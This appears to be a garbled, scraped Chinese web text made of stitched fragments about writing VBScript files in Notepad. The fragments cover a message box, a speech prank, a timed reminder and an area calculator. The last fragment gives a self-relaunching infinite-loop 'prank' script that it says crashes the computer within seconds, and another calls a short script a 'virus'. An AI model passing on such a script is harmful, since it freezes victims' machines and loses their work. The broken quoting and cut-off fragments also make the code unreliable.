1、1启动记事本，编辑以下代码dim a，b，s a=inputboxquot请输入矩形的长quotb=inputboxquot请输入矩形的宽quots=a*b msgbox quot矩形的面积为quot s 2点击文件菜单另存为命令，输入文件名1vbs，保存类型选择所有文件；能拼出好看的表白形状电脑 最省事电脑帮我说爱你这还不顾省事吗？步骤首先，新建一个记事本文件然后，在里面输CreateObject。

2、1点击WIN按钮，在运行对话框下面输入cmd，打开命令提示符窗口2 在提示符底部输入记事本，打开记事本程序3在记事本下面输入Msgbox quot这是一个提示窗口quot4 然后单击“文件”菜单，选择“另存为”，打开对话框5；vbs如果出现弹窗，记得点击“是”更改完拓展名后，赶紧 当暗恋的TA双击打开这个图标时，电脑会自动朗读出代码引号的；就用记事本就可以编啦编好之后将后缀名改为vbs就可以啦下面这个就是实现每45分钟提醒一次的VBS程序set WshShell = WScriptCreateObjectquotWScriptShellquot#39对话框标题alerttitle = quot定时提醒quot#39提醒内容，vbnewline为换行符alerttext；新建一个记事本，在里面输入 CreateObjectquotSAPISpVoicequotSpeak quotI love YOUquot保存扩展名为 VBS 文件 如我爱你vbs 双击运行，电脑就会说 i love you 了 CreateObjectquotSAPISpVoicequotSpeaklt空格quotI love YOU。

3、新建一个记事本，在里面输入 CreateObjectquotSAPISpVoicequotSpeak quotI love YOUquot保存扩展名为 VBS 文件 如我爱你vbs 双击运行，电脑就会说 i love you 了；就比如下面这个，三行代码制作一个病毒还是熟悉的新建文本文档，改后缀名，不过这回换成了vbs同样是一种脚本，只不过它是；dim i，j，shell，ws set shell=createobjectquotshellapplicationquotset ws=createobjectquotwscriptshellquoti=inputboxquot请输入时间Hquot，quot提示quot，quot请输入时间Hquotj=inputboxquot请输入时间Mquot，quot提示quot，quot请输入时间M。

4、以下两段代码根据需求任选一段，复制到记事本中，按脚本说明进行修改，然后另存为xxxvbs 保存好的脚本双击即可运行 A用指定播放器打开 Dim wshSet wsh = CreateObjectquotWScriptShellquotplayer = quotD\Program Files\；不仅特整人，还非常简单，仅仅6行 set s=createobjectquotwscriptshellquotlsfile=wscriptscriptfullname #39获得自己的名称 do #39死循环 srun lsfile #39自己运行自己 srun quotnotepadquot#39运行记事本 loop #39几秒就死机，哈。